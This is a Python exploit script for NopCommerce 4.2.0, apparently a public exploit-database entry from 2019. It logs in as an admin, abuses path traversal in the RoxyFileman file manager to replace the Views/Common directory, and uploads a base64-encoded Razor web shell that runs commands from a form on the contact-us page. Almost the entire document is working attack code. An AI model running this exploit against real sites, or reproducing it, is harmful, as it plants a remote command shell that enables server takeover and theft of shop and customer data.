# Vulnerability Title: NopCommerce 4.2.0 - Plugin Privilege Escalation
# Author: <NAME> (d3adc0de)
# Date: (DD/MM/YYYY) - 07/07/2019
# Vendor Homepage: https://www.nopcommerce.com/
# Software Link : https://www.nopcommerce.com/
# Tested Version: 4.2.0
# Vulnerability Type: Privilege Escalation
# Tested on OS: Windows 10, CentOS, Docker
# Exploit designed for: NopCommerce 4.2.0 on IIS

import argparse
import base64
import warnings

import requests
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

def formatted_shell():
    b64_shell = b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>lZC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9pbmV0cHViL3d3d3Jvb3Qvbm9wY29tbWVyY2UvV' \
                b'mlld3MvQ29tbW9uLw0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0zMTI1MjYxOTI4NzYwDQpDb250ZW50LURpc3Bvc2' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'Fsc2UsDQogICAgICAgICAgICAgICAgQ3JlYXRlTm9XaW5kb3cgPSB0cnVlLA0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'+<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'<KEY>' \
                b'PGlucHV0ICBpZD0iY21kIiBjbGFzcz0iZm9ybS1jb250cm9sIiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6IDQwMHB4OyIgL' \
                b'z4gDQoJPGJ1dHRvbiBpZD0ic3VibWl0Q29tbWFuZCIgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSI+U2VuZCE8L2J1dHRvbj4NCj' \
                b'wvc3Bhbj4NCg0KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0zMTI1MjYxOTI4NzYwLS0='

    return base64.b64decode(b64_shell).decode()


def proxy(flag):
    return {"http": "http://127.0.0.1:9090", "https": "http://127.0.0.1:9090"} if flag else None


def geturl(baseurl, type):
    if type == "login":
        return baseurl + "/login"
    elif type == "mv":
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=RENAMEDIR&d=%2fimages%2fuploaded%2f" + \
               "..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2fCommon%2f&n=Common2"
    elif type == "mkdir":
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=CREATEDIR&d=%2fimages%2fuploaded"\
                         "%2f..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2fwwwroot%2fnopcommerce%2fViews%2f&n=Common"
    elif type == "put":
        return baseurl + "/Admin/RoxyFileman/ProcessRequest?a=UPLOAD"
    elif type == "contactus":
        return baseurl + "/contactus"
    else:
        return ""


def login(email, password, url, proxy):
    res = requests.get(geturl(url, "login"), proxies=proxy, verify=False, allow_redirects=False)
    cookie = res.cookies.get_dict()
    soup = BeautifulSoup(res.text, features="html.parser")
    token = soup.find("input", {"name": "__RequestVerificationToken"})["value"]
    res = requests.post(geturl(url, "login"), cookies=cookie,
                        data={"Email": email, "Password": password, "__RequestVerificationToken": token,
                              "RememberMe": "false"}, proxies=proxy, verify=False, allow_redirects=False)
    cookies = res.cookies.get_dict()
    return {**cookies, **cookie}


def shellupload(email, password, url, proxy):
    print("[+] Trying uploading shell from")
    cookies = login(email, password, url, proxy)
    # Rename Common Directory
    requests.get(geturl(url, "mv"), headers={
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy,
                 cookies=cookies, verify=False, allow_redirects=False)
    # Create Common Directory
    requests.get(geturl(url, "mkdir"), headers={
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy,
                 cookies=cookies, verify=False, allow_redirects=False)
    # Upload File into Common
    requests.post(geturl(url, "put"),
                  headers={"Content-Type": "multipart/form-data; boundary=---------------------------3125261928760",
                           "User-Agent": "Mozilla/5.0 Gecko/20100101 Firefox/67.0"},
                  data=formatted_shell(),
                  proxies=proxy, cookies=cookies, verify=False, allow_redirects=False)
    # Test if it is working
    res = requests.get(geturl(url, "contactus"), headers={
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0"}, proxies=proxy,
                       cookies=cookies, verify=False, allow_redirects=False)
    soup = BeautifulSoup(res.text, features="html.parser")
    test = soup.find("span", {"id": "cmdResult"})
    if test is None:
        print("[-] Maybe the target is not vulnerable, or you need to restart the appliance")
    else:
        print("[+] Shell uploaded under contact us page")


def main():
    parser = argparse.ArgumentParser(description='Upload a shell in NopCommerce')
    parser.add_argument(
        '-e', '--email', required=True, type=str, help='Username')
    parser.add_argument(
        '-p', '--password', required=True, type=str, help='Password')
    parser.add_argument(
        '-u', '--url', required=True, type=str, help='Base Url of NopCommerce')
    parser.add_argument(
        '-x', '--proxy', required=False, action="store_true", help='Proxy (for debugging)')

    args = parser.parse_args()

    shellupload(args.email, args.password, args.url, proxy(args.proxy))


if __name__ == '__main__':
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    main()
